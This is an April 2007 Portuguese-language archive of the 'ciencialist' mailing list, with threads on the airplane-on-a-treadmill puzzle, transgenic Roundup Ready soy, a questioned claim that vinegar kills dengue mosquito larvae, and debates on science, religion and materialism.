> > começa a rolar para tras, na mesma velocidade de deslocamento do
avião.
> >
> > Pergunta-se, o avião decola (ou seja, atinge a velocidade de voo em
> > relação ao ar), ou não decola (ou seja, não atinge a velocidade de
voo).
> >
> > Depois de, inicialmente, alguns serem "enganados" pelo "red hering", a
> > esteira que rola para tras, o que os levou a afirmar que o avião NÃO
> > decolava, pois não saia do lugar, todo mundo entendeu que, era
> > irrelevante a esteira, pois esta só aplicava força através dos
> > rolamentos das rodas, que são, no caso do avião, dispositivos de
> > ELIMINAR a ligação entre o avião e o solo.
> >
> > Ou seja, a esteira rola para tras, mas só faz acelarar o "giro" das
> > rodas do avião, que continua a se mover para frente.
> >
> > Parte do engano é a forma como "vemos" as rodas, como dispositivos de
> > tração. Se colocar um carro na esteira, como ele depende da "tração"
> > das rodas para se mover, o rolar da esteira impede que este ande para
> > frente.
> >
> > Mas aviões se movem com propulsão separada do solo e das rodas! Ele se
> > move pelas hélices e jatos. E estes o moverão para frente seja sobre
> > rodas na esteira, seja sobre eskis no gelo, seja sobre flutuadores na
> > água.
> >
> > Mas o Renato se recusa a entender, e afirma que o avião não decola.
> > Mais ainda, já bem encurralado, resolveu que "depende" do referencial
> > com que mede a velocidade do avião, se do solo, ar ou esteira. Ou
> > seja, se medir a velocidade do avião em relação a esteira, ele não
> > voa, se mudar a passar a medir a velocidade do avião em relação ao
> > solo, ele voa.
> >
> > É um caso fantástico, onde dependendo do referencial em que mede algo,
> > o objeto se comporta de forma diferente!..:-) Até a relatividade do
> > coitado do Einstein (que já foi usado para justificar todo e qualquer
> > absurdo) ele tentou usar para sua tese.
> >
> > Parte do engano veio de uma discussão paralela com o Takata, que
> > defendia que, em determinadas circunstâncias, o atrito dos rolamentos
> > das rodas poderiam desacelerar o avião o suficiente para que este não
> > decolasse. Mas até o Takata concordava que, se desprezarmos o atrito
> > dos rolamentos, o avião decola sempre.
> >
> > Quase todos tentaram explicar ao Renato, inclusive alguns dos que se
> > enganaram no início com o "red hering" da esteira (como o próprio
> > Leo), mas sem sucesso algum..:-)
> >
> > Se quiser tentar também, eu já desisti..:-)
> >
> > Um abraço.
> >
> > Homero
> >
>
>
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>




SUBJECT: Re: Balanço do avião
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 11/04/2007 00:16

Sorry JR, não acompanhei essa parte da discussão. Também não faz
diferença, porque aviões não voam ou deixam de voar com base em
pesquisas de opinião. :)))

Abraços,
JC

--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> José Carlos, volto a postar um e-mail questionando os listeiros sobre o
> assunto.
> []s
> JR
> ....................................
>
> From: "José Renato" <jrma@To: <ciencialist@yahoogrupos.com.br>
> Sent: Sunday, April 01, 2007 10:41 PM
> Subject: [ciencialist] Balanço do avião
>
>
> Será que numa próxima oportunidade, que voltar a discussão sobre o
problema
> do avião se deslocando sobre uma esteira, as pessoas vão pensar
melhor a
> questão ou vão continuar com as mesmas posições? No início havia
confusão e
> dúvidas. Depois que Luiz apresentou seu esquema, os indecisos se
convenceram
> que voa, Victor e Ricardo entre eles. Takata concluiu que depende. Luiz
> ficou quieto. Victor e Ricardo calaram. Homero, não apegou-se a uma das
> opões e fechou-se aos argumentos que apresentei em relação a uma outra
> opção, até que desistiu... E o problema se esvaiu sem maiores
conclusões
> firmadas.
> Qual seria o balanço das opiniões afinal?
>
> 1. Voa sim, com o dobro da velocidade da correia.
>
> 2. Voa sim, qualquer que seja a velocidade da correia
>
> 3. Não voa, qualquer que seja a velocidade da correia.
>
> 4. Voa ou não, dependendo do ponto de referência para a medição da
> velocidade do avião: voa quando é medida em relação ao solo; não voa
quando
> é medida em relação à correia.
>
> 5. Nenhuma das respostas acima. (Para quem escolher essa opção,
parece-me
> importante indicar qual seria sua resposta.)
>
> Abraços
>
> José Renato
>




SUBJECT: Re: Transgênicos. Afinal, quem diz o quê?
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 11/04/2007 00:19

--- Em ciencialist@yahoogrupos.com.br, "Eduardo Torres"
> >>>>Bom, essa e' uma questao talvez semantica. Explico: Posso ter
> entendido errado, mas, pelo q compreendi do processo, a enzima
> codificada por esse gene da AB CP4 e' a mesma q existe normalmente
> no genoma da soja.

Se existe normalmente na soja não sei, mas o gene é da bactéria pelo q
sei. E.g.:
"A method has been developed to distinguish between traditional soy
beans and transgenic Roundup Ready soy beans, i.e. the glyphosate
('Roundup') resistant soy bean variety developed by Monsanto Company.
Glyphosate resistance results from the incorporation of an
Agrobacterium-derived 5-enol-pyruvyl-shikimate-3-phosphatesynthase
(EPSPS) gene."
http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&db=pubmed&list_uids=10211183&dopt=Citation

"The safety of 5-enolpyruvylshikimate-3-phosphate synthase enzyme
derived from Agrobacterium sp. strain CP4 (CP4 EPSPS) was assessed.
CP4 EPSPS is the only protein introduced by genetic manipulation that
is expressed in glyphosate-tolerant soybeans, which are being
developed to provide new weed-control options for farmers."
http://jn.nutrition.org/cgi/content/abstract/126/3/728

[]s,

Roberto Takata



SUBJECT: Re: Transgênicos. Afinal, quem diz o quê?
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 11/04/2007 00:34

"Roundup Ready soybean event 40-3-2 was produced by introduction of
the glyphosatetolerant cp4 epsps coding sequence derived from the
common soil bacterium Agrobacterium sp. strain CP4 into the soybean
genome using particle-acceleration transformation."
http://www.monsanto.com/monsanto/content/sci_tech/prod_safety/roundup_soybean/pss.pdf

Enhanced expression in plants
http://patft.uspto.gov/netacgi/nph-Parser?Sect1=PTO2&Sect2=HITOFF&p=2&u=%2Fnetahtml%2FPTO%2Fsearch-bool.html&r=69&f=G&l=50&co1=AND&d=PTXT&s1=%22CP4+EPSPS%22&OS=%22CP4+EPSPS%22&RS=%22CP4+EPSPS%22

Até existe o gene da proteína não-resistente nas plantas. Mas a versão
resistente é derivada do Agrobacterium.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: Transgênicos. Afinal, quem diz o quê?
FROM: "Luis Brudna" <luisbrudna@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 11/04/2007 04:19

Nao existe um dominio da Monsanto sobre o glifosato. Outras empresas
tambem vendem o produto. O produto nao tem mais patente, jah caducou.

Para o agricultor eh mais barato usar um unico produto.
Antigamente era necessario mais de uma aplicacao de herbicida. Mesmo
um produto nao sendo muito caro, um agricultor tem o custo (alto) do
combustivel, da manutencao das maquinas e do salario dos empregados. O
custo de producao aumenta em cada intervencao que se tem que fazer em
uma lavoura.

Tenho parentes que plantam soja. E pelo que escuto nas conversas, a
soja transgenica eh mais lucrativa, mesmo se tiver que pagar uma parte
em royalties.

Sobre os possiveis perigos da transgenia, nao tenho informacoes
suficientes para falar sobre o assunto.

Ateh
Luis Brudna


On 4/10/07, Eduardo Torres <dudutorres@yahoo.com> wrote:
>
>
>
> >>>>Na verdade a 'venda casada' se restringe mais ao herbicida
> glifosato, q e' chamado comercialmente de Round Up e e' vendido pela
> Monsanto. A soja transgenica da Monsanto e' resistente a esse
> herbicida, por isso e' chamada de Round Up Ready. Adubos e outros
> insumos sao similares para as sojas transgenica e comum. Tudo leva a
> crer q ha' claras vantagens no uso da soja transgenica, tanto q os
> agricultores gauchos praticamente so' usam soja transgenica por la'.
> Com soja RUR se reduz muito o uso de herbicida, pois se pode usar
> poucas doses de um produto altamente letal para plantas nao
> protegidas geneticamente como o glifosato, q e' ao mesmo tempo muito
> pouco toxico para animais e de alta degradabilidade. Com isso, os
> especialistas da area dizem q o uso de soja transgenica e' mais
> economico para o agricultor e menos agressivo ambientalmente. Claro q
> os grandes lucros da fase 'informal', qdo nao pagavam royalties aa
> Monsanto, acabou, mas pelo q tenho lido nos jornais a lucratividade
> ainda e' maior q a soja comum, mesmo com os royalties. O mecanismo de
> transgenia da soja RUR e' muito simples: Um gene responsavel pela
> sintese de uma enzima q causa a degradacao do glifosato (naturalmente
> existente na soja comum, mas insuficiente p/ conferir resistencia
> significativa aa planta), e' colocado em muitas copias no genoma da
> soja transgenica, q assim degrada o glifosato mais rapido do q e'
> afetada por ele. Quer dizer, nao ha' genes alienigenas na soja
> transgenica, apenas genes ja' naturalmente presentes no genoma da
> soja comum.
>
> Mas e' preciso pesquisar mais plantas transgenicas, em rotas
> diferentes das usadas pelas grandes multis, para diversificarmos essa
> tecnica e para nao ficarmos na mao de poucas empresas de alta
> tecnologia.
>
> O futuro da agricultura e' transgenico, disso nao resta duvida. As
> plantas nao conseguirao mudar o suficiente, e suficientemente rapido,
> por metodos nao transgenicos, na extensao d q necessitaremos para
> expandir a agricultura sem estressar ambientalmente o planeta na
> escala em q sera' necessario estressar com plantas 'naturais', se
> quisermos alimentar bem a toda humanidade.
>
> Abs,
> Eduardo Torres
>


SUBJECT: Ácido Acético e o mosquito da Dengue
FROM: "hymboldt2005" <hymboldt2005@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 11/04/2007 06:53

Será que tem fundamento?

VINAGRE X DENGUE
.
.
Desde 2003, o engenheiro agrônomo Reinado José Rodella coordenou, em
Piracicaba,
uma série de pesquisas
usando o VINAGRE
diluído na água contaminada
com larvas do mosquito
Aedes aegypti,
transmissor da Dengue.
.
Confirmou-se, nos laboratórios, que o ácido acético
presente no VINAGRE
eliminou todas as larvas
das amostras analisadas.
.
De imediato, o coordenador do Projeto de Combate à dengue
de Piracicaba, Valdemar Correr, pediu aos agentes
que estivessem percorrendo os bairros em campanha
orientassem os moradores a colocar uma simples
colher de VINAGRE nos recipientes com água parada.
.
"Durante todo o ano passado,
foram registrados na cidade
apenas seis casos da doença,
todos eles importados, ou seja, originários de outros municípios".
A descoberta do engenheiro Rodella promete revolucionar
o combate a uma doença que, sempre nos períodos de chuva, torna-se um
risco
de epidemia em todo o Brasil.
Só o Estado do Rio de Janeiro, investiu nos últimos
cinco anos R$ 10 milhões nas campanhas públicas
para eliminar os criadouros do mosquito,
inclusive com a importação de um biolarvicida cubano.
.
As atuais estatísticas estão bem longe dos números assustadores de
2002,
quando o Brasil registrou 800 mil casos da doença. Mas o risco de
epidemia
continua.
No Estado de São Paulo, segundo o Ministério da Saúde, existe hoje a
notificação de 14 casos para cada grupo
de 100 mil habitantes.
Na região de São José do Rio Preto, a mais crítica,
há municípios com índices equivalentes a 200 casos por 100 mil
habitantes.
Gasta-se muito com equipamentos e mão-de-obra usados nos "fumacês" que
dizimam as larvas.
.
"Bastaria que todos os brasileiros fossem orientados a usar o
VINAGRE,
um
produto
comum e sem qualquer contra-indicação", afirma Rodella.
.
Porém não há interesse dos governantes municipais em divulgar que um
simples
VINAGRE resolve este "problemão", pois a Dengue gera uma "FORTUNA" aos
municípios, e como se sabe muitos estão aproveitando disto!!!!
.
Nos testes feitos no Centro de Controle de Zoonoses,
na Escola Superior de Agricultura Luiz de Queiroz (Esalq), na
Carnevalli
Biotecnologia e na Escola de Engenharia
de Piracicaba foi constatado que basta a adição de
5% de VINAGRE no recipiente com água
para que as larvas sejam eliminadas.
.
FIQUE ATENTO
A dengue é uma doença febril aguda
causada por um vírus da família Flaviviridae
de evolução benigna, na maioria dos casos.
.
Existem duas formas de dengue: a clássica e a hemorrágica.
.
Sintomas
A dengue clássica apresenta-se, geralmente, com febre,
dor de cabeça, no corpo, nas articulações e por trás dos olhos,
podendo
afetar crianças e adultos.
.
A dengue hemorrágica é a forma mais severa da doença, pois, além dos
sintomas citados, é possível ocorrer sangramento, e, ocasionalmente,
falência múltipla
dos órgãos e a morte.
.
Hospedeiro
O principal vetor é o mosquito Aedes aegypti,
que se desenvolve em áreas tropicais e subtropicais.
Tratamento
O tratamento é apenas sintomático.
Tomar muito líquido, para evitar desidratação, e utilizar
antipiréticos
e
analgésicos, para aliviar os sintomas.
São as medidas de rotina.
Por interferir com a coagulação,
medicamentos que contenham ácido acetilsalicílico
são contra-indicados.
.
Reportagem:
Rogério Verzignasse, Correio Popular, em 15/03/06.
http://www.paulinianews.com.br/links/noticia400400
Veja mais em:
http://www.aprendebrasil.com.br/reportagens/dengue/erradicar.asp
http://www.saudeanimal.com.br/dengue1.htm
.




SUBJECT: Re: Ave, Homero
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 11/04/2007 10:25

Olá Homero!

Homero >>> deve haver um motivo para TODOS os
cientistas do mundo discordarem de você,
veementemente!..:-)

--- Além de mim, existem muitos outros que não
concordam com o que o Takata e vc defendem. E muitos
outros que não concordaram durante a história.

--- Mas vc insiste em falar "em nome da ciencia". Já
te perguntei, e vc não respondeu: quem te deu esta
autoridade? Foi deus? Vc é Homero ou é Cesar?


sinceramente
ferrari



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SUBJECT: Re: Takata: Sobre o Método Cientifico - Mapa e Território
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 11/04/2007 10:27

Olá Takata!

Takata >>> Conheço o Deep Blue...

Ops! É este ai mesmo.

Takata >>> Área científica. Biologia.

Blz. Assim vou aperfeiçoando meu mapa mental sobre
você.

Takata >>> A q vc vem expondo, sobre mapas mentais.

Creio que não expus quase nada sobre o meu conceito de
mapa mental, apenas questionei você e o seu. Mas
enfim, vamos começar de novo que assim ninguém reclama
de ninguém. Por favor, defina:

1) Realidade
2) Definição

E fique tranqüilo, não estou brincando de encurralar
você, logo em seguida vou te dar minha resposta para
as mesmas perguntas que estou te fazendo. Afinal, se
divergimos, precisamos entender porque. Creio que
comparar nossas definições sobre estes conceitos ai em
cima é um bom começo. Talvez nossa divergência seja
apenas semântica e ai não precisamos brigar por causa
disto.

Takata >>> Toda vez q meteram divindades no meio das
ciências a coisa desengrenou. Seguramente tb não se
deve fazer o oposto - meter ciência no meio das
religiões.

“Toda vez” do seu conhecimento e juízo, suponho.
Afinal, você nem é onisciente nem é imparcial no seu
julgamento, ou é? Bem, se você acredita que religião e
ciência devem ficar sem se falar, respeito, mas não
concordo.

Ao meu ver, arte, ciência, religião e filosofia são os
quatro alicerces de uma mesma casa: o ser humano.
Todas as quatro faculdades humanas estão em cada uma e
cada uma estão nas quatro. Por exemplo, quando a
ciência está questionando um fato, está filosofando.
Quando a ciência está buscando conhecer a causa, está
sendo religiosa. Quando está imaginando como funciona,
está fazendo arte. O mesmo acontece com as outras
faculdades. Por exemplo, quando a arte está se
inspirando, está fazendo religiosa. Quando a arte usa
uma técnica de expressão, está usando ciência. Quando
propõe uma questão, está sendo filosófica. E assim com
cada uma das quatro faculdades humanas. Os quatro
alicerces estão ligados um ao outro dentro do ser
humano, como um quadrado, e separa-los e deixar a casa
humana capenga. Uma analogia: é como se você tirasse
um sentido do ser humano. Tire o tato de um ser
humano, por exemplo, a realidade humana para aquele
ser humano vai ficar capenga, entende?

Creio que a comunicação entre religião e ciência, arte
e ciência, filosofia e ciência, deve sim acontecer, e
com naturalidade, principalmente nos dias atuais, em
que a razão humana adentra na investigação do tempo.
Entendo que houve um momento na história em que a
separação entre ciência e religião cumpriu uma função.
Porém, a fila já andou faz tempo e esta função, que já
foi cumprida, e que se mantém estagnada, ao invés de
ajudar a investigação humana da realidade, começa a
atrapalhar. É por isto que discordo de você.

Outra coisa, o problema da falta de comunicação entre
ciência e religião, nunca foi e nunca será um problema
nem da ciência nem da religião, mas sim do dogmatismo
dos seres humanos que respondem em nome de ambas.
Quando os seres humanos entenderem que ciência e
religião são complementares, assim como a gramática e
o idioma, assim como Aristóteles e Platão, assim como
Newton e Einstein, assim como Heisenberg e Bohr, assim
como Yin e Yang, que maravilha será o diálogo humano.


Sinceramente
Ferrari





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SUBJECT: Re: Jeff ::: Abrindo a Carta do Materialismo
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 11/04/2007 10:49

Olá Jeff! Olá Lista!

Jeff >>> O materialismo é uma forma incompleta de ver
a realidade e que ignora a causa de si mesmo. Como
assim?

--- É incompleta porque não contempla o tempo. E
ignora a causa de si mesmo, porque a causa da
existência e evolução material é o tempo. Você conhece
algo que existe fora do tempo? Conhece algo que
acontece fora do tempo? Tem duas perguntas que sempre
faço aqui na lista e que nunca ninguém responde, pois
ela mostra claramente como a visão materialista ignora
a causa de si mesma. A pergunta é:

--- A) O que é medir (observar)?
--- B) Medir leva tempo? Porque?

Jeff >>> O que é "materialismo" pra você?

--- Materialismo é uma forma de pensar a realidade. É
uma teoria que os cientistas usam para imaginar a
realidade e justificar os dados que observam. Ou seja,
é uma mapa da realidade dentro da cabeça dos
cientistas. Grosso modo: materialismo é um mapa mental
onde uma monte de partículas de matéria sólidas e
tridimensionais separadas uma das outras por um nada,
existem (sem se saber como) e se deslocam neste nada
de forma totalmente independente do resto do universo.
Descrevo este mapa e penso que em breve estaremos
rindo um bocado dele, assim como rimos hoje em dia do
mapa geocêntrico.

Jeff >>> E onde você "descobriu" deus?

--- Não fui eu que descobri deus, foi deus que me
descobriu. Porque eu não sei. Mas com deus é assim,
quanto mais você o procura, mas ele foge. Eu o
procurei em tudo quanto é lugar. Curiosidade é minha
natureza. Não é a toa que faço tantas perguntas.
Procurei em todos os lugares que minha curiosidade me
levou. Poderia contar pra você todos os lugares em que
procurei, mas acho que não vem ao caso, pois não
encontrei deus em nenhum desses lugares. Então,
desisti. E foi ai que deus me descobriu.

--- Este é o segredo. Você tem que desistir. Porém,
desistir é um paradoxo pra a mente (ego). Pois a mente
desiste só pra encontrar o que deseja. E assim não
está desistindo coisa nenhuma, é uma falsa
desistência. O desejo humano de encontrar impede o
encontro. Assim com imãs de pólos iguais não se
atraem. Então a mente fica furiosa, vai buscar em
outro lugar. Não encontra. Ai tenta desistir de novo.
E assim, vai... Enfim, decifra-me ou devoro-te. É com
cada um resolver este paradoxo. Só estou o
expressando, não posso resolve-lo por você.

--- Você assiste aquele seriado “Lost”? Também é uma
aula sobre o comportamento humano. Outro dia, escrevi
um texto sobre este assunto acima (desistir) usando um
dos motes do seriado Lost (os números) e um conto da
Clarice Lispector. O texto está em um dos meus blogs
de literatura. É este texto aqui:

http://deuscontrolado.blogspot.com/2006/12/4-8-15-16-23-42.html

Jeff >>> Eu consigo entender que tudo o que existe
no universo não precisa de um controle para existir.

--- Não é um controle tipo um carrasco controlador.
São apenas as regras do jogo da existência, só isto.
Ao meu ver, você tem este mal estar com o conceito de
deus, como se o controle fosse “do mal”. Note, a regra
de um jogo não é do mal nem do bem, é apenas uma
necessidade fundamental para que o jogo aconteça. Um
jogo se diferencia do outro, não é pelo jogar, mas
pela maneira de se jogar. E a maneira de se jogar é
uma conseqüência das regras. A existência humana é o
jogo humano. Mas se não tivessem as regras que
possibilitassem este jogo da existência humana, não
teria jogo. E se não tem jogo, não tem o prazer de
jogar. Deus iria morrer de tédio, entende? Você já
jogou RPG? Pense em deus como o game master. Eis a
onisciência. Porém deus não é apenas o game master,
ele também é os jogadores. Eis a onipresença. E também
é o ato de jogar. Eis a onipotência.

Jeff >>> Tenho 30 anos. Porque "ingênuo em questões
de comportamento humano"?

--- Ao meu ver você não percebe que o ser humano está
sempre lutando pelo poder. Olhe para a sociedade, a
política, o esporte, a briga entre religião e ciência
aqui na lista e em outros lugares, etc, são brigas de
autoridades, brigas pelo poder. Aqui quem manda sou
eu!... e etc... Brigar pelo poder é básico no
comportamento humano. Brigar pelo poder é competir. O
paradigma do poder diz assim: ou você mata ele ou ele
mata você. Toda a sociedade humana é montada em cima
deste paradigma: a competição. Na competição eu ganho
e você perde. É assim a regra da competição, não é?

--- Note: o poder é o contrário do amor. No amor todos
ganham. Observe isto. Onde há amor não há luta por
poder. Há compreensão. Há cooperação. Há aceitação. E
se há luta pelo poder, então, não há amor. Amor e
poder são estados consciências excludentes dentro do
ser humano, assim como alegria e tristeza.

--- A loteria esportiva, por exemplo, é um dos maiores
simbolos da força que tem o paradigma da competição na
sociedade humana (atual). São milhões em dinheiro tudo
pra um vencedor só que, todo poderoso, que fode todos
os outros. Acho isto uma tremenda falta de
inteligencia além de tudo. Porque não junta esta grana
toda e faz um clube pra todos os apostadores usarem,
ou uma escola pros filhos estudarem, ou um hospital.
Mas não, o poder fala mais alto do que o amor e até do
que a inteligência. Melhor arriscar ser o todo
poderoso e perder do que cooperar e ganhar. Esta é a
realidade humana. Aquele filme "uma mente brilhante"
mostra como o John Nash sacou o desproposito que é a
competição pra indiviuos que co-existem.

Jeff >>> Como em toda profissão, existe os bons e os
maus profissionais...

--- Sim, concordo.

Jeff >>> Eu defendo o pensamento científico como
única forma de se realmente tentar entender a
realidade.

--- Ai depende do que você chama de “pensamento
científico”. Pois se você igualar pensamento
cientifico com “pensamento materialista”, discordo. O
pensamento cientifico nada mais é do que o raciocínio.
E sim: o raciocínio é a única forma humana de se
raciocinar a realidade.

Jeff >>> Eu não diria que uma existência sem porque é
uma existência "caótica", mas "a toa"... E não vejo
problema nisso!

--- O problema é que vai contra os fatos. Só isto. A
impressão que tenho é que você acredita que falo sobre
deus só para comprovar minhas crenças de catecismo.
Não é nada disto. O problema é que não posso ignorar
os fatos. Só isto. Que fatos? O tempo. A impermanência
do presente. A sincronia dos eventos. A evolução e a
involução de acordo com o tempo. O nascimento e a
morte de acordo com o tempo. A duração das coisas.
Etc. Como ignorar isto? São fatos que apontam para um
inteligência organizadora. Você leu “Deus não joga
dados”. Lá falo sobre isto.

Jeff >>> se você "parar" o tempo em um determinado
instante e souber o funcionamento e o estado de TODAS
as variáveis do universo, você saberá EXATAMENTE o que
acontecerá no instante seguinte... quando "soltar o
pause" do universo, pois não poderá ser de outra
forma.

--- Eis a onisciência de deus.

Jeff >>> Assim, você concluirá que tudo está
pré-determinado, inclusive o futuro, e que, assim, nem
eu nem você temos livre-arbítrio.

--- O Ferrari e o Jeff não tem livre-arbítrio mesmo,
mas eu e vc temos sim. O problema não está no
livre-arbítrio, mas no mapa mental que se tem do
livre-arbítrio. O livre-arbítrio, tal como é pensado
pelos ateus e mesmo pelos religiosos, é um
livre-arbítrio materialista.

Jeff >>> Veja então que, por esta lógica, destino
contradiz livre-arbítrio...

--- Só se você assumir que o livre arbítrio é da
personalidade e não do espírito.

Jeff >>> Mas, isso não significa que precise existir
um ser que saiba do destino.

--- Ah não? E pra tudo isto que você está falando ai
não precisa existir o universo? Pois então: o universo
é este ser. Deus é o universo, o ser universal. Está
vendo como você é materialista? Você materializa o
ser? Ser não é material. Deus não é um cara de barba
branca que mora em cima das nuvens, deus é a
realidade, o território. E o mapa não é o território.
Nenhum mapa nunca é o território.

Jeff >>> A ordem PODE sair do caos sem inteligência,
é isso que estou tentando te explicar...

--- Mano, não! É impossível, porque possibilidade é
igual a tempo e tempo é ordem. O tempo é a matriz de
todas as possibilidades de existência assim como o
alfabeto é a matriz de todos os textos que podem ser
escritos. Entende esta analogia? Volto a dizer, caos é
apenas desconhecimento. Só existe dentro da cabeça do
conhecedor, ou seja, do cientista.

Jeff >>> Uma teoria interessante, da Termodinâmica, é
de que o tempo nada mais é do que a movimentação do
interior do universo.

--- Sim, isto mesmo. Concordo. É por ai mesmo. Eu cito
Lavoisier no artigo sobre onipresença. Mas falta
esclarecer que o universo é indivisível e não é feito
de partículas tridimensionais separadas uma das outras
por um vazio e etc. Ou seja, tirar a visão
materialista do universo.

Jeff >>> Então veja que o sentido do tempo (passado
para futuro) seria, justamente, a desorganização do
universo.

--- Fica faltando a parte da organização evolutiva.
Sim, num sentido o universo involui e morre, mas, ao
mesmo tempo que involui, noutro sentido ele nasce e
evolui. Não é impressionante isto? E a perfeição do
tempo em ação. Em semântica hinduísta este movimento
de evolução e involução da forma se chama: roda do
sansara.

Jeff >>> O tempo, na verdade, desorganiza a matéria,
segundo a 2º lei da termodinâmica.

--- Isto na visão materialista. Como disse acima, num
sentido o universo involui e morre, mas, ao mesmo
tempo, noutro sentido ele nasce e evolui.

Jeff >>> Me envie as leis do tempo:)

--- Você quer tudo de mão beijada, né? Pense um pouco
ai. Do mesmo jeito que eu as observei e descrevi você
também pode percebe-las e enuncia-las. Você pode até
perceber mais claramente do que eu e assim me ajuda na
construção dos enunciados. A parte da involução você
já percebeu bem. Tire o mapa do materialismo da sua
mente e tudo fica mais fácil. Em breve vou colocar
este capitulo no blog. Tudo ao seu tempo. Eis uma das
leis.

Jeff >>> Eu não me acho um "cientista materialista".
Sou cientista por formação e, como sempre algo
previsto por lógica é comprovado, eu só começo a
pensar em teorias absolutamente lógicas.

--- O geocentrismo também era muito lógico, mas era
falho. Você é materialista porque pensa a realidade
partindo do pré-suposto materialista. Mas isto não é
permanente, nem obrigação, basta você mudar o seu
paradigma, mudar o seu pensamento.

Jeff >>> "O mapa não é o território". Tudo bem, mas o
que é o território pra você?

--- É a realidade. É deus (o ser universal)

Jeff >>> Como o "território" seria além das
percepções humanas?

--- Como seria as cores se você fosse cego? Como seria
o conteúdo sem a forma? “Como” é a forma do conteúdo,
e o território não é a forma, é o conteúdo. Sem
percepção nenhuma o conteúdo não tem forma nenhuma.
Sem percepção humana, mas com uma percepção de outro
tipo, o conteúdo tem forma de outro tipo. Contudo, a
visão materialista não é fruto da percepção humana,
mas sim da imaginação do cientista. A visão
materialista não nasce no olho, mas na imaginação do
cientista.


Sinceramente
Ferrari






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SUBJECT: Re: Takata: Sobre o Método Cientifico - Mapa e Território
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 11/04/2007 11:43

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> 1) Realidade

Realidade: propriedade daquilo q existe.

> 2) Definição

Definição: um subconjunto de propriedades ao mesmo tempo necessárias e
suficientes.
Conceituação: um subconjunto de propriedades necessárias.
Identificação/Diagnose: um subconjunto de propriedades suficientes.
Significação: o conjunto de propriedades necessárias e/ou suficientes.

Ex: Triângulo equilátero
*Definição 1: polígono fechado de três lados, sendo todos iguais.
*Conceituação: é uma figura geométrica, plana na geometria euclidiana,
seus ângulos internos somam 180o na geometria euclidiana, tem três
lados apenas, é um polígono fechado...
*Identificação: ângulos internos somam 180o (na geometria euclidiana);
três lados e todos iguais (por definição); três ângulos internos e
todos congruentes.
*Significação: - vai corresponder a todos os usos possíveis da
expressão "triângulo equilátero".

Condições necessárias: as que se não forem satisfeitas implicam na
falsidade da operação independentemente de outras condições;
Condições suficientes: as que se forem satisfeitas implicam na
validade da operação independentemente de outras condições.

Ex: Para ser um número par
"Não ser 3" é uma condição necessária, mas não suficiente - pois, se
for 3 não é par, mas temos números q não são 3 e q não são pares (e.g. 5);
"Ser 4" é uma condição suficiente para ser par - pois o número 4 é
par, mas não é necessária, pois há números q não são 4, mas q são
pares (e.g. 206);
"Ser divisível por 2" é uma condição necessária e suficiente - e pode
ser usada como definição de número par;
"Ser diferente de 4" não é nem uma condição necessária (pois se for 4
será par) nem suficiente (pois números diferentes de 4 podem ser par);

> "Toda vez" do seu conhecimento e juízo, suponho.

Toda vez do conhecimento geral.

> Ao meu ver, arte, ciência, religião e filosofia são os
> quatro alicerces de uma mesma casa: o ser humano.

Esticando sua analogia - se os alicerces começam a entrar um no outro,
a casa cai. Pense no prédio do Masp - magnífica obra projetada por
Lina Bo Bardi. Sustenta-se sobre um vão apoiado em 4 pilastras.
Imagine se uma das pilastras sai do lugar e tenta ocupar o espaço da
outra? O prédio desaba.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: Transgênicos. Afinal, quem diz o quê?
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 11/04/2007 12:27

Realmente a Monsanto lidera a produção de transgênicos e os defensivos específicos para seu produto.... É uma demonstração dos novos tempos: Ela só cobra um percentual sobre a safra: fornece as sementes e os defensivos mediante contrato.Caso ocorra um problema climático, prejudicando a safra, a Monsanto corre também o risco. É um negócio para multinacional.
Esse tipo de procedimento comercial, moderno e que é bom para as partes - não se sabe o reflexo na ecologia, mostra a evolução dos meios de produção. Por certo será adotado por todas as grandes indústrias agrícolas.

sds.,m

silvio
----- Original Message -----
From: José Renato
To: ciencialist@yahoogrupos.com.br
Sent: Monday, April 09, 2007 9:38 PM
Subject: Re: [ciencialist] Re: Transgênicos. Afinal, quem diz o quê?


Homero, escreveu: [ Uma empresa pode criar uma semente transgênica, que é
resistente apenas a seu próprio herbicida, de forma a criar um monopólio
vertical: vende a semente, o que obriga a compra de adubo, insumos e
herbicidas, tudo fabricado por ela mesma. ]
.............................................

Parece-me que o tempo do verbo está defasado na descrição dessa
possibilidade perversa denunciada pelos ecologistas. A semente e o herbicida
com esse perfil "especial" já são produzidas pela Monsanto.
[]s
JR
.............................................

----- Original Message -----
From: "oraculo333" <oraculo@atibaia.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, April 09, 2007 12:55 AM
Subject: [ciencialist] Re: Transgênicos. Afinal, quem diz o quê?

Olá Luiz

Luiz: "Afinal, os dados científicos apontam para um uso sem perigos ou
isto é falácia? O Greenpeace tem razão de chiar, ou chia só para fazer
barulho e terem o que fazer? Como fica esse embate? "

Acho que não há resposta simples ou 100% para essa questão, como
muitas questões complexas. Mas é possível tentar ver algo através das
"cortinas" de exagero de ambos os lados.

Muitos seres vivos são "transgênicos" muito antes de nós dominarmos as
técnicas que permitem criar artificialmente transgenicos. A troca de
material genético entre vírus e plantas é antiga, e diversas
características parecem provir desse hábito ancestral.

O Grenpeace tem certa razão, embora ele sempre prefira o exagero e
super-exposição. Toda nova tecnologia deve ser estudada, acompanhada e
cuidadosamente analisada, antes de ser largamente utilizada. O risco
de não agir assim não compensa vantagens de curto prazo.

Isso fica evidente quando os organismos gestores cedem as pressões de
